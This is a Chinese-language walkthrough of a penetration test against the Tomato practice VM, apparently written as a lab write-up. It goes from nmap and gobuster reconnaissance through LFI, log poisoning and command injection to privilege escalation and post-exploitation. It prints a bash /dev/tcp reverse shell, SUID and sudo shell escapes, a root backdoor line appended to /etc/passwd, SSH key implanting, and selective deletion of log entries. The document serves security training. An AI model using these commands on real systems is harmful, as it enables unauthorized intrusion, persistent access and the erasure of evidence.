Tomato靶机渗透实战:从信息收集到权限提升的完整攻击链解析
1. 靶场初探:Tomato靶机是什么,以及我们为什么要“通关”
如果你对网络安全、渗透测试感兴趣,或者正在学习相关的技术,那么“靶机”这个词对你来说一定不陌生。简单来说,靶机就是一个故意设置了各种安全漏洞的虚拟机或系统,供安全爱好者、学习者进行合法的攻击演练,以此来学习和掌握漏洞发现、利用以及权限提升等一系列实战技能。Tomato靶机,就是这样一个在安全圈内,特别是初学者和中级学习者中,非常经典且受欢迎的一个“练手”目标。
我第一次接触Tomato靶机,是在一个技术社区的讨论帖里。当时看到很多人分享自己“通关”的截图和心得,从最初的茫然无措到最后的“getshell”(获取系统控制权),那种成就感隔着屏幕都能感受到。于是我也下载了它的镜像文件,在自己的虚拟机环境里搭建起来。说实话,第一次尝试并不顺利,卡在信息收集阶段很久,感觉无从下手。但正是这种“卡住”然后“突破”的过程,才是学习渗透测试最宝贵的经验。通关Tomato靶机,绝不仅仅是为了拿到最终的“root”权限(Linux系统的最高管理员权限),更重要的是理解整个攻击链条:如何从一个外部访客的身份,一步步搜集信息、发现弱点、利用漏洞、扩大战果,最终完全控制目标系统。这个过程,几乎涵盖了Web渗透测试的绝大部分核心知识点。
所以,这篇“通关秘籍”,更像是我个人多次尝试、踩坑、复盘后的一份详细实战笔记。我会尽量还原每一步的操作、当时的思路、遇到的坑以及解决方案。无论你是刚刚入门安全的新手,还是想巩固基础的中级玩家,希望这份基于实战的流程解析,能给你提供一个清晰的路径和可靠的参考。我们不止要“通关”,更要明白“为什么能通关”,以及“下次遇到类似情况该怎么思考”。
2. 环境搭建与信息收集:一切攻击的起点
在开始任何渗透测试之前,准备工作和对目标的初步了解至关重要。这就像侦探破案前,必须先勘察现场、了解受害者背景一样。
2.1 靶机环境搭建与网络配置
Tomato靶机通常以OVA或VMDK等虚拟机镜像格式提供。我使用的是VMware Workstation,VirtualBox同样可以。这里有几个关键步骤和注意事项:
导入与网络设置:将下载好的镜像导入虚拟机软件后,第一件事是检查网络适配器模式。为了模拟真实的网络环境,同时方便我们攻击机(通常是Kali Linux)与靶机通信,强烈建议将靶机的网络模式设置为“NAT模式”或“桥接模式”。我个人偏好使用“NAT模式”,因为它能在主机内部创建一个虚拟局域网,让攻击机和靶机处于同一个网段,同时又不会干扰到主机的真实网络。设置好后,启动靶机。
确定靶机IP地址:这是信息收集的第一步。靶机启动后,我们需要知道它的IP地址。如果靶机登录界面显示了IP(有些靶机会),那就直接记下。如果没有,我们可以在攻击机(Kali)上使用网络扫描工具来发现它。最常用的命令是netdiscover或nmap进行同一网段的存活主机扫描。
例如,在Kali终端中,假设我的Kali IP是192.168.111.128,那么同一网段可能就是192.168.111.0/24。可以运行:
sudo netdiscover -r 192.168.111.0/24或者使用更强大的nmap:
sudo nmap -sn 192.168.111.0/24-sn参数表示只进行Ping扫描(主机发现),不进行端口扫描。扫描结果中,除了你已知的Kali IP和网关IP,那个新出现的、大概率就是Tomato靶机的IP地址了。假设我们找到的靶机IP是192.168.111.135,记下它。
注意:有些虚拟化环境或网络配置可能导致发现不了IP。如果扫描无果,可以尝试将靶机和攻击机都设置为“桥接模式”,并确保它们连接到同一个物理网络(如同一个Wi-Fi)。同时,检查靶机防火墙是否关闭(对于练习靶机,通常默认是关闭的)。
2.2 系统性信息收集:端口、服务与Web应用
拿到IP地址后,我们就要开始“敲门”和“窥探”了。目标是尽可能全面地了解目标系统对外开放了哪些“门窗”(端口),这些“门窗”后面运行着什么“服务”(Service),以及这些服务是什么版本、有没有已知漏洞。
全面端口扫描:使用nmap进行全端口或常用端口扫描是标准操作。
sudo nmap -sV -sC -p- 192.168.111.135-sV:探测端口上运行服务的版本信息。-sC:使用默认的Nmap脚本进行更深入的探测,可能会发现一些基本信息泄露。-p-:扫描所有65535个端口(范围是1-65535)。这是一个比较耗时的操作,但能确保没有遗漏。如果时间紧张,可以先扫描前1000个常用端口-p 1-1000。
扫描完成后,你会得到一份详细的报告。对于Tomato靶机,典型的扫描结果可能会显示开放了以下几个关键端口:
- 22/tcp:SSH服务。这是远程安全登录协议,通常是我们权限提升或持久化访问的潜在入口。
- 80/tcp:HTTP服务。这是最常见的Web服务端口,也是我们渗透测试的主战场。一个网站或Web应用。
- 其他端口:可能还有像21(FTP)、139/445(SMB)等,具体取决于靶机设计。
Web应用初步侦察:既然80端口开放,我们自然要打开浏览器,访问http://192.168.111.135。首先用眼睛看:网站是什么样子?有什么功能?是博客、CMS(内容管理系统)、还是自定义的Web应用?查看网页源代码,有时注释里会隐藏有用的信息,比如开发者备注、测试路径等。
同时,使用工具进行自动化侦察:
- 目录/文件枚举:使用
gobuster或dirb等工具,尝试发现隐藏的目录或文件。这些可能是后台登录页面、配置文件、备份文件等。gobuster dir -u http://192.168.111.135 -w /usr/share/wordlists/dirb/common.txt - 子域名枚举:如果目标有域名(本例是IP,此步可略),但养成习惯很重要。
- 技术栈识别:使用
whatweb或浏览器插件(如Wappalyzer)来识别网站使用的技术,比如服务器类型(Apache/Nginx)、编程语言(PHP/Python)、前端框架、CMS类型等。whatweb http://192.168.111.135
信息收集的深度决定攻击面的宽度。这一步一定要耐心和细致。我最初就犯过错误,扫了个常用端口没发现特别的东西,就以为没戏了,结果后来才发现一个开在高端口(比如8080)上的管理后台。所以,全端口扫描在时间允许的情况下非常有必要。把所有发现的信息记录下来:开放端口、服务版本、Web路径、技术栈,这将成为我们后续攻击的“地图”。
3. 漏洞挖掘与利用:从发现到突破
在完成信息收集后,我们手头有了一份“资产清单”。接下来就是分析这些资产,寻找薄弱点,并尝试利用。
3.1 Web路径探索与敏感文件发现
根据上一步gobuster或手动浏览的结果,我们可能会发现一些有趣的路径。以Tomato靶机为例,常见的突破口往往始于一个不起眼的目录或文件。
假设我们发现了一个路径/secret或者/backup。访问它,可能会列出一个文件目录,或者直接提示需要认证。目录列表本身可能就是一个信息泄露漏洞,因为它暴露了服务器上的文件结构。仔细查看列出的文件,寻找诸如robots.txt、config.php、backup.zip、.git目录、README.md等文件。
robots.txt文件:这是网站用来告诉搜索引擎爬虫哪些目录可以访问、哪些不可以的标准文件。但有时开发者会在这里面写上他们不想被公开,但又没做访问控制的敏感路径。访问http://192.168.111.135/robots.txt,查看Disallow的条目,它们可能就是隐藏的后台或API接口。
源代码泄露:如果发现了.git目录,这可能是一个巨大的漏洞。通过工具(如git-dumper)可以尝试下载整个git仓库,里面可能包含网站的源代码、历史提交记录,甚至数据库配置信息。同样,.svn、.DS_Store文件也存在类似风险。
备份文件:发现backup.zip、www.zip、database.sql.bak等文件,一定要尝试下载并分析。压缩包可能包含网站源码,SQL备份文件可能直接含有用户数据(如用户名和密码哈希值)。
实战心得:在这个阶段,我养成了一个习惯,对每一个发现的疑似敏感文件,都会用curl或wget尝试下载,并用cat、strings、file命令快速查看内容。例如,发现一个note.txt,可以:
curl http://192.168.111.135/secret/note.txt内容可能是一段看似无意义的字符串,也可能是密码提示、隐藏的登录凭证,甚至是加密过的密码。
3.2 漏洞分析与利用:以文件包含和命令注入为例
Tomato靶机经典漏洞之一,往往与文件包含(File Inclusion)有关。我们可能在某个页面(比如show.php)发现一个参数,用于动态加载文件,例如http://192.168.111.135/show.php?file=welcome.html。
本地文件包含(LFI):如果这个参数没有经过严格的过滤,攻击者就可以通过目录遍历,读取服务器上的任意文件。尝试访问:
http://192.168.111.135/show.php?file=../../../../etc/passwd如果成功返回了/etc/passwd文件的内容,那么LFI漏洞就存在了。这个文件包含了系统所有用户的基本信息,虽然密码是x(表示密码存储在/etc/shadow),但我们可以获取用户名列表,为后续爆破或攻击做准备。
利用LFI获取更关键信息:在Linux中,我们可以通过LFI读取许多敏感文件:
/etc/shadow:存储用户密码哈希(通常需要高权限,但有时配置错误可读)。- Web应用的配置文件:如
/var/www/html/config.php,可能包含数据库连接密码。 - 日志文件:如
/var/log/apache2/access.log。这是一个非常重要的利用点。因为我们可以通过User-Agent或请求参数,将PHP代码写入日志文件,然后通过LFI去包含这个日志文件,从而执行代码。这就是LFI to RCE(远程代码执行)的常见技巧。
命令注入(Command Injection):另一个常见漏洞。可能在网站存在一个功能,比如“Ping测试”、“DNS查询”,用户输入一个IP或域名,服务器会执行ping或nslookup命令并将结果返回。如果用户输入没有经过净化,就可能注入额外的命令。 例如,输入框要求输入IP,我们输入8.8.8.8; whoami。如果后端直接拼接命令ping -c 4 8.8.8.8; whoami并执行,那么whoami命令的结果也会返回在页面上,这就证明了命令注入漏洞的存在。
利用命令注入获取反向Shell:确认漏洞后,我们的目标不再是执行简单的whoami或ls,而是获取一个交互式的Shell会话。最常用的方法是反向Shell(Reverse Shell)。我们在自己的攻击机(Kali)上监听一个端口,然后通过漏洞让靶机主动连接我们。
在Kali上监听:
nc -lvnp 4444nc是 netcat 工具,-l监听,-v详细输出,-n不解析域名,-p指定端口4444。通过漏洞注入反向Shell命令:根据靶机系统可用的工具,有多种Payload。一个经典的bash反向Shell是:
; bash -c 'bash -i >& /dev/tcp/192.168.111.128/4444 0>&1'将其注入到存在命令注入的点。注意替换IP
192.168.111.128为你的Kali IP。成功连接:如果漏洞利用成功,你会在Kali的
nc监听窗口看到一个连接,并出现一个Shell提示符(可能是$)。恭喜,你已经拿到了一个低权限的Web Shell(通常以www-data用户运行)。
踩坑记录:在利用命令注入时,经常会遇到空格、引号被过滤或转义的情况。这时候需要尝试各种绕过技巧,比如用
$IFS代替空格,用编码(Base64)绕过,或者使用其他命令执行方式(如反引号`、$())。多准备几个Payload备用总没错。
4. 权限提升:从普通用户到Root
拿到一个初始的Shell(比如www-data)只是成功了一半。这个用户权限很低,无法读取/etc/shadow,无法安装软件,无法进行很多操作。我们的最终目标是root。权限提升(Privilege Escalation,简称PrivEsc)是渗透测试中最考验综合能力的环节之一。
4.1 内部信息收集:了解你的战场
在提权之前,我们需要对当前系统有更深入的了解。在获得的Shell中,运行一系列信息收集命令:
- 系统信息:
uname -a(内核版本),cat /etc/os-release(发行版信息)。 - 用户和组:
id(当前用户权限),cat /etc/passwd,sudo -l(极其重要,查看当前用户可以以root身份运行哪些命令)。 - 进程与服务:
ps aux(查看所有进程),netstat -tulpn(查看网络连接和监听端口)。 - 计划任务:
crontab -l(查看当前用户的计划任务),ls -la /etc/cron*(查看系统计划任务目录)。 - SUID/GUID文件:查找设置了特殊权限位的可执行文件,这可能是提权的捷径。
find / -type f -perm -u=s 2>/dev/null find / -type f -perm -g=s 2>/dev/null - 可写文件与目录:
find / -writable -type d 2>/dev/null(查找全局可写目录),特别是/tmp、/var/tmp通常可写。 - 环境变量:
env。
仔细分析sudo -l的输出。如果结果显示当前用户可以以root身份无需密码运行某个命令,例如(ALL) NOPASSWD: /usr/bin/vi,那么这就是一个黄金提权点。因为很多编辑器(如vi, vim, nano)或命令(如find, awk, more, less)在拥有高权限运行时,可以借此启动一个shell。
4.2 利用内核漏洞提权
如果系统内核版本较旧,可能存在公开的本地提权漏洞。我们可以用uname -a获取内核版本,然后去搜索对应的Exploit(漏洞利用代码)。在Kali上,有searchsploit工具可以离线搜索Exploit-DB中的漏洞。
searchsploit linux kernel 3.13 ubuntu local privilege escalation找到合适的Exploit后,将其上传到靶机。在靶机Shell中,可以用python3 -m http.server 8000在Kali上启动一个临时Web服务器,然后在靶机用wget下载。编译并运行Exploit(如果是C代码),可能直接就能获得root shell。
注意事项:内核漏洞利用有一定风险,可能导致系统崩溃(对于靶机无所谓)。而且现代系统往往有安全机制(如SELinux, AppArmor),可能会阻止Exploit运行。因此,这通常是其他方法无效时的选择。
4.3 利用环境变量与SUID提权
SUID提权:SUID(Set User ID)是一种特殊的文件权限,它允许用户以文件所有者的权限来执行该文件。如果find命令被设置了SUID位且属于root,那么当我们执行find时,实际上是以root权限在运行。一些命令可以被滥用来提权。例如,利用find:
find . -exec /bin/bash -p \;-exec参数会执行后面的命令,而-p参数会让bash保留有效用户ID(即root),从而产生一个root shell。
另一个经典例子是vim或less。如果我们可以运行sudo less /etc/shadow,那么在less中,我们可以输入!bash来启动一个shell,这个shell将继承less的root权限。
环境变量劫持:如果发现一个SUID程序调用了系统命令(如ping、cp)但没有使用绝对路径,我们就可以通过操纵环境变量PATH来进行劫持。原理是:系统在执行ping时,会按照PATH环境变量中的路径顺序去寻找名为ping的可执行文件。如果我们将PATH设置为优先搜索当前目录,并在当前目录创建一个恶意的ping脚本(内容为/bin/bash),那么当SUID程序执行ping时,实际上执行的是我们的恶意脚本,并且由于SUID程序是root权限,我们的脚本也以root运行了。
实操心得:提权过程往往需要结合多种信息。我遇到过一个靶机,sudo -l显示可以无密码运行一个自定义的Python脚本。查看那个脚本,发现它用os.system()执行了一个硬编码的命令。但该命令的路径是写死的,无法直接改。然而,我注意到脚本里有一行import sys,然后从某个目录读取配置。我检查发现那个配置目录当前用户可写。于是,我在该目录创建了一个同名的恶意模块文件(sys.py),里面包含了提权代码。当root用户通过sudo执行那个脚本时,Python会优先从当前目录导入我的恶意sys模块,从而执行了我的代码。这种思路需要你对系统机制和编程语言有一定理解。
5. 后渗透与总结反思:巩固战果与清理痕迹
拿到root权限,并非终点。在真实的渗透测试中,我们还需要考虑如何维持访问、横向移动(如果是在内网)、清理日志等。对于靶机练习,这部分主要是为了学习完整的流程。
5.1 维持访问与信息收集
- 创建后门账户:在
/etc/passwd中添加一个具有root权限的用户,或者修改现有用户的密码哈希。
之后就可以用用户名# 生成一个密码为"hacked"的哈希 openssl passwd -1 -salt abc hacked # 在/etc/passwd中添加一行,将生成的哈希替换到下面 echo 'backdoor:$1$abc$q.5d6QmW4g6B6Q8Q7Q9Q0Q:0:0:root:/root:/bin/bash' >> /etc/passwdbackdoor,密码hacked通过SSH登录了。 - SSH密钥植入:将你的公钥写入root用户的
.ssh/authorized_keys文件,实现免密登录。echo '你的公钥内容' >> /root/.ssh/authorized_keys - 下载敏感信息:现在可以畅通无阻地查看所有文件了。将
/etc/shadow、Web应用的数据库、配置文件等关键信息下载回本地分析。
5.2 清理痕迹
在授权测试中,这一步通常需要做,以模拟攻击者隐藏行踪。主要清理各类日志。
- 清理命令历史:
history -c清除当前session历史,还要删除~/.bash_history文件。 - 清理系统日志:定位到记录了你操作的相关日志文件,如
/var/log/auth.log(SSH登录记录)、/var/log/apache2/access.log和error.log(Web访问记录),选择性删除或篡改相关条目。可以使用sed或vi进行编辑。注意:直接删除整个日志文件非常可疑。更隐蔽的做法是只删除与自己IP或操作相关的行。
5.3 通关后的复盘与学习建议
通关Tomato靶机,绝不仅仅是按照攻略走一遍流程。真正的价值在于复盘:
- 绘制攻击路径图:用笔和纸画出你从信息收集到最终提权的完整路径。标出每个关键节点(发现的漏洞、利用的方法)。这能帮你理清思路,看清整个攻击链的依赖关系。
- 追问“为什么”:为什么这里存在LFI漏洞?(因为开发者直接信任了用户输入的
file参数)。为什么那个SUID文件能用来提权?(因为它的功能设计缺陷或配置错误)。理解漏洞根源,比记住利用命令更重要。 - 尝试多种方法:提权往往不止一条路。如果通过内核漏洞成功了,试试能不能通过
sudo -l找到其他方法?如果通过Web漏洞拿到了Shell,试试有没有其他注入点?多种方法尝试能加深你对系统的理解。 - 搭建自己的实验环境:在完全弄懂Tomato之后,可以尝试自己用DVWA、bWAPP等漏洞练习平台,或者甚至自己写一个带有漏洞的小程序,然后自己去攻击它。从攻击者视角切换到防御者视角,你会对安全有更深的认识。
- 关注动态与社区:安全技术日新月异。关注一些安全博客、论坛(如Security StackExchange、Reddit的netsec板块),了解最新的漏洞和利用技术。
最后,记住最重要的一点:所有技术都应在合法、授权的环境下学习和使用。靶机提供了完美的沙箱环境。将所学知识用于保护系统安全,才是真正的“白帽”精神。每一次通关,都是向着成为一名更专业的安全研究员迈出的一步。保持好奇,保持谨慎,持续学习。